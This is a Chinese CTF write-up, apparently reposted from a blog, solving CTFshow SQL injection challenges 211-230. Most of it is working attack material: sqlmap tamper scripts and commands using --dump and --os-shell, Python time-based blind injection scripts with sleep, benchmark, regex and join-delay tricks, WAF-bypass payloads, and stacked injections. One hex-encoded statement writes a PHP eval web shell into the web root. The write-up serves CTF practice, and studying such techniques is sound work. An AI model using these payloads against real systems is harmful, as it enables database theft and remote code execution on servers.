CTFSHOW SQL注入篇(211-230)

Posted yu22x

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了CTFSHOW SQL注入篇(211-230)相关的知识,希望对你有一定的参考价值。

文章目录

211

在上题的基础上加了个空格过滤,再稍微改改刚才的脚本


from lib.core.compat import xrange
from lib.core.enums import PRIORITY
import base64
__priority__ = PRIORITY.LOW

def dependencies():
    pass

def tamper(payload, **kwargs):

    retVal = payload

    if payload:
        retVal = retVal.replace(' ','/**/')
        retVal = base64.b64encode(base64.b64encode(retVal[::-1])[::-1])

    return retVal

python sqlmap.py -u http://afcfd388-ae3c-423f-ba54-6c20fc174d67.challenge.ctf.show/api/index.php --data="id=1" --refer="ctf.show" --method="PUT" --headers="Content-Type:text/plain" --safe-url="http://afcfd388-ae3c-423f-ba54-6c20fc174d67.challenge.ctf.show/api/getToken.php" --safe-freq=1 -D ctfshow_web -T ctfshow_flavia -C ctfshow_flagxxa --dump --batch --tamper "new.py"

212

改成替换成%09


from lib.core.compat import xrange
from lib.core.enums import PRIORITY
import base64
__priority__ = PRIORITY.LOW

def dependencies():
    pass

def tamper(payload, **kwargs):

    retVal = payload

    if payload:
        retVal = retVal.replace(' ',chr(9))
        retVal = base64.b64encode(base64.b64encode(retVal[::-1])[::-1])

    return retVal

python sqlmap.py -u http://57188d43-137d-4e5c-a967-13bff8165c55.challenge.ctf.show/api/index.php --data="id=1" --refer="ctf.show" --method="PUT" --headers="Content-Type:text/plain" --safe-url="http://57188d43-137d-4e5c-a967-13bff8165c55.challenge.ctf.show/api/getToken.php" --safe-freq=1 -D ctfshow_web -T ctfshow_flavis -C ctfshow_flagxsa --dump --batch --tamper "new.py"

213

直接在最后加个–os-shell即可。

python sqlmap.py -u http://b5e6122a-dd1e-40bc-aebb-3aec56f5a3fc.challenge.ctf.show/api/index.php --data="id=1" --refer="ctf.show" --method="PUT" --headers="Content-Type:text/plain" --safe-url="http://b5e6122a-dd1e-40bc-aebb-3aec56f5a3fc.challenge.ctf.show/api/getToken.php" --safe-freq=1 --batch --tamper "new.py" --os-shell

214

打开题目连个注入点都不知道 (¦3」∠) 。。。。。。
问了下是ip和debug
payload

# @Author:yu22x
import requests
url = "http://9fdb207d-9182-46ee-b9bc-cf3f4f231d17.challenge.ctf.show/api/"
s='0123456789abcdef-'
flag='ctfshow'

for i in range(9,50):
	print(i)
	for j in s:
		'''
		data = 
	        'ip' : f"if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),i,1))=ord(j),sleep(3),1)#",
	        'debug' : '0'
	    
		data = 
	        'ip' : f"if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagx'),i,1))=ord(j),sleep(3),1)#",
	        'debug' : '0'
	    
	    '''
		data = 
	        'ip' : f"if(ascii(substr((select flaga from `ctfshow_flagx`),i,1))=ord(j),sleep(3),1)#",
	        'debug' : '0'
	    
		try:
			r = requests.post(url, data, timeout=2)
		except:
			flag+=j  
			print(flag)
			break

215

加个引号和注释就好了
payload

# @Author:yu22x
import requests

url = "http://431191e5-306e-4490-a6a3-51afeb27314b.challenge.ctf.show/api/"
s='0123456789abcdef-'
flag='ctfshow'

for i in range(9,50):
	print(i)
	for j in s:
		'''
		data = 
	        'ip' : f"'||if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),i,1))=ord(j),sleep(3),1)#",
	        'debug' : '0'
	    
		data = 
	        'ip' : f"'||if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagxc'),i,1))=ord(j),sleep(3),1)#",
	        'debug' : '0'
	    
	    '''
		data = 
	        'ip' : f"'||if(ascii(substr((select flagaa from `ctfshow_flagxc`),i,1))=ord(j),sleep(3),1)#",
	        'debug' : '0'
	    
		try:
			r = requests.post(url, data, timeout=2)
		except:
			flag+=j  
			print(flag)
			break

216

查询语句
where id = from_base64($id);
增加括号闭合即可。

# @Author:yu22x
import requests

url = "http://11de6cd6-b66c-469f-af08-f990f1a7c00e.challenge.ctf.show/api/"
s='0123456789abcdef-'
flag='ctfshow'

for i in range(9,50):
	print(i)
	for j in s:
		'''
		data = 
	        'ip' : f"0)||if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),i,1))=ord(j),sleep(3),1)#",
	        'debug' : '0'
	    
		data = 
	        'ip' : f"0)||if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagxcc'),i,1))=ord(j),sleep(3),1)#",
	        'debug' : '0'
	    
	    '''
		data = 
	        'ip' : f"0)||if(ascii(substr((select flagaac from `ctfshow_flagxcc`),i,1))=ord(j),sleep(3),1)#",
	        'debug' : '0'
	    
		try:
			r = requests.post(url, data, timeout=2)
		except:
			flag+=j  
			print(flag)
			break

217

可以看下这篇文章https://www.jb51.net/article/212587.htm
讲了一些时间盲注中sleep的替代方法。

过滤了sleep用benchmark代替
benchmark(10000000,md5('yu22x'));
会计算10000000次md5(‘yu22x’),因为次数很多所以就会产生延时。
不过经常会把服务器跑崩,如果崩掉的话就把time.sleep的值改大点。
payload

# @Author:yu22x
import requests
import time
url = "http://4c62629f-2d80-436e-bfda-ea5a56c97942.challenge.ctf.show/api/"
s='0123456789abcdef-'
flag='ctfshowdd169a9c06'

for i in range(19,50):
	print(i)
	for j in s:
		'''
		data = 
	        'ip' : f"0)||if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),i,1))=ord(j),benchmark(5000000,md5('yu22x'),1)#",
	        'debug' : '0'
	    
		data = 
	        'ip' : f"0)||if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagxccb'),i,1))=ord(j),benchmark(5000000,md5('yu22x'),1)#",
	        'debug' : '0'
	    
	    '''
		data = 
	        'ip' : f"0)||if(ascii(substr((select flagaabc from `ctfshow_flagxccb`),i,1))=ord(j),benchmark(5000000,md5('yu22x')),1)#",
	        'debug' : '0'
	    
		time.sleep(0.4)
		try:
			r = requests.post(url, data, timeout=2)
		except:
			flag+=j  
			print(flag)
			break

218

concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b'

以上代码等同于 sleep(5)
但是通过题目测试发现延时很小,所以把timeout也改小点。

# @Author:yu22x
import requests
import time
url = "http://adc17262-d1bb-46ce-83a1-5955e7c9154c.challenge.ctf.show/api/index.php"
s='0123456789abcdef-'
flag='ctfshow'

for i in range(9,50):
	print(i)
	for j in s:
		'''
		data = 
	        'ip' : f"0)||if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),i,1))=ord(j),(concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) rlike '(a.*)+(a.*)+b'),1)#",
	        'debug' : '0'
	    
		data = 
	        'ip' : f"0)||if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagxc'),i,1))=ord(j),(concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) rlike '(a.*)+(a.*)+b'),1)#",
	        'debug' : '0'
	    
	
		'''
		data = 
	        'ip' : f"0)||if(ascii(substr((select flagaac from `ctfshow_flagxc`),i,1))=ord(j),(concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) rlike '(a.*)+(a.*)+b'),1)#",
	        'debug' : '0'
	    
		time.sleep(1)
		try:
			r = requests.post(url, data, timeout=0.5)
		except:
			flag+=j  
			print(flag)
			break

219

利用笛卡尔积来造成延时(因为连接表是一个很耗时的操作)
AxB=A和B中每个元素的组合所组成的集合,就是连接表

select count(*) from information_schema.columns A, information_schema.columns B;

可以用上述语句代替sleep函数
payload

# @Author:yu22x
import requests
import time
url = "http://22f3c2e3-8c57-47c9-bc96-f6c5bf3fc852.challenge.ctf.show/api/index.php"
s='0123456789abcdef-'
flag='ctfshow'

for i in range(9,50):
	print(i)
	for j in s:
		'''
		data = 
	        'ip' : f"0)||if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),i,1))=ord(j),(select count(*) from information_schema.columns A, information_schema.columns B),1)#",
	        'debug' : '0'
	    
		data = 
	        'ip' : f"0)||if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagxca'),i,1))=ord(j),(select count(*) from information_schema.columns A, information_schema.columns B),1)#",
	        'debug' : '0'
	    
	
		'''
		data = 
	        'ip' : f"0)||if(ascii(substr((select flagaabc from `ctfshow_flagxca`),i,1))=ord(j),(select count(*) from information_schema.columns A, information_schema.columns B),1)#",
	        'debug' : '0'
	    
		time.sleep(0.5)
		try:
			r = requests.post(url, data, timeout=0.05)
		except:
			flag+=j  
			print(flag)
			break

220

过滤内容

 function waf($str)
       return preg_match('/sleep|benchmark|rlike|ascii|hex|concat_ws|concat|mid|substr/i',$str);
  

过滤了ascii可以用ord替代,过滤了substr可以用left+right
riight(left('abcdef',3),1)等价于substr('abcdef',3,1)
payload

# @Author:yu22x
import requests
import time
url = "http://348e99b9-3992-45be-94e4-670c0ff60e6c.challenge.ctf.show/api/index.php"
s='0123456789abcdef-'
flag='ctfshow'

for i in range(9,50):
	print(i)
	for j in s:
		'''
		data = 
	        'ip' : f"0)||if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),i,1))=ord(j),(select count(*) from information_schema.columns A, information_schema.columns B),1)#",
	        'debug' : '0'
	    
		data = 
	        'ip' : f"0)||if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagxcac'),i,1))=ord(j),(select count(*) from information_schema.columns A, information_schema.columns B),1)#",
	        'debug' : '0'
	    
	
		'''
		data = 
	        'ip' : f"0)||if(ord(right(left((select flagaabcc from `ctfshow_flagxcac`),i),1))=ord(j),(select count(*) from information_schema.columns A, information_schema.columns B),1)#",
	        'debug' : '0'
	    
		time.sleep(0.5)
		try:
			r = requests.post(url, data, timeout=0.05)
		except:
			flag+=j  
			print(flag)
			break

221

limit注入
如果有写权限的话可以直接跟into,但是尝试了下,好像是不行。
当然也可以跟union构成类似于如下mysql语句
select * from userinfo limit 1 union select '123'
不过有版本限制5.0.0-5.6.6,在题目里面尝试也发现报错内容不是列数不一致,而是语法错误,估计是版本问题了。

所以就得考虑下其他方法,以为可以回显报错内容,所以可以试试报错注入。
不过需要看下limit后面可以跟的函数

可以看到可以跟procerdure,而procerdure可以跟analyse函数
payload
?page=1&limit=1 procedure analyse(extractvalue(rand(),concat(0x3a,database())),1)

222

group by注入
因为group by后面不能跟union,而且没有错误回显,所以只能考虑盲注了。
可以看到,当u=username时存在回显。(抓包可得参数)
所以脚本如下

# @Author:yu22x
import requests
import time
url = "http://aa85d535-8050-4248-9293-d444fcf0ba24.challenge.ctf.show/api/index.php"
s='0123456789abcdef-'
flag='ctfshow'

for i in range(9,50):
	print(i)
	for j in s:
		'''
		u=url+"?u=if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),0,1)='1',username,2)".format(i,j)
		u=url+"?u=if(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_flaga'),0,1)='1',username,2)".format(i,j)

		'''
		u=url+"?u=if(substr((select flagaabc from ctfshow_flaga),0,1)='1',username,'a')".format(i,j)
		#print(u)
		r = requests.get(u)
		#print(r.text)
		if "passwordAUTO" in r.text:
			flag+=j  
			print(flag)
			break

223

过滤了数字
仔细观察刚才的payload会发现只有两个地方用到了数字,也就是substr的第二第三个参数。
我们这样来获取:
直接将不可见字符转成ascii
比如ascii(‘%01’)=1

# @Author:yu22x
import requests
import time
import urllib.parse
url = "http://7d355aba-d72d-4044-9bf2-40dcce71d513.challenge.ctf.show/api/index.php"
s='abcdeftshow-0123456789'
flag=''

for i in range(0,10):
	for j in range(0,10):
		print(str(i)+str(j))
		for k in s:
			ii=f'concat(ascii("%0i"),ascii("%0j"))'
			if k  not  in '0123456789':  
				#print(k)
				u=url+f"?u=if(substr((select flagasabc from ctfshow_flagas),ii,ascii('%01'))='k',username,'a')"
			else:
				u=url+f"?u=if(substr((select flagasabc from ctfshow_flagas),ii,ascii('%01'))=ascii('%0k'),username,'a')"
			r = requests.get(u)
			#print(u)
			if "passwordAUTO" in r.text:
				flag+=k  
				print(flag)
				break

当然还有一种方法类似于之前的185
https://blog.csdn.net/miuzzx/article/details/109516424,这里就不再赘述了。

224

也就是36D杯中的“你没见过的注入”
参考文章
https://blog.gem-love.com/ctf/2283.html#%E4%BD%A0%E6%B2%A1%E8%A7%81%E8%BF%87%E7%9A%84%E6%B3%A8%E5%85%A5

225-230

可以看下我之前写的这篇文章(关于堆叠注入的)
https://blog.csdn.net/miuzzx/article/details/104465584

225

payload

#获取表名
api/index.php?username=1';show tables;
#获取数据
api/index.php?username=1';handler ctfshow_flagasa open as aaa;handler aaa read first;

226

过滤了show所以表名无法获取,不过可以用预编译的方式。
过滤了左括号可以采用0x代替字符串。

#获取表名
?username=1';prepare h from 0x73686f77207461626c6573;execute h;
#获取数据
?username=1';prepare h from 0x73656c656374202a2066726f6d2063746673685f6f775f666c61676173;execute h;

227

按照226的方法没找到flag,于是传了个马上去。

##1.php  <?php eval($_POST[1]);?>
?username=1';prepare h from 0x73656c65637420273c3f706870206576616c28245f504f53545b315d293b3f3e2720696e746f206f757466696c6520272f7661722f7777772f68746d6c2f312e70687027;execute h;

用蚁剑连接发现文件中没有,还是看下数据库吧。

翻了一遍在information_schema的routines表中

查了下这个表

其中ROUTINE_DEFINITION记录了例程执行的SQL语句的文本。

228|229|230

做法同226

以上是关于CTFSHOW SQL注入篇(211-230)的主要内容,如果未能解决你的问题,请参考以下文章

CTFSHOW SQL注入篇(191-210)

CTFSHOW SQL注入篇(171-190)

CTFSHOW SQL注入篇(191-210)

CTFSHOW SQL注入篇(231-253)

CTFSHOW SQL注入篇(231-253)

CTFSHOW SQL注入篇(171-190)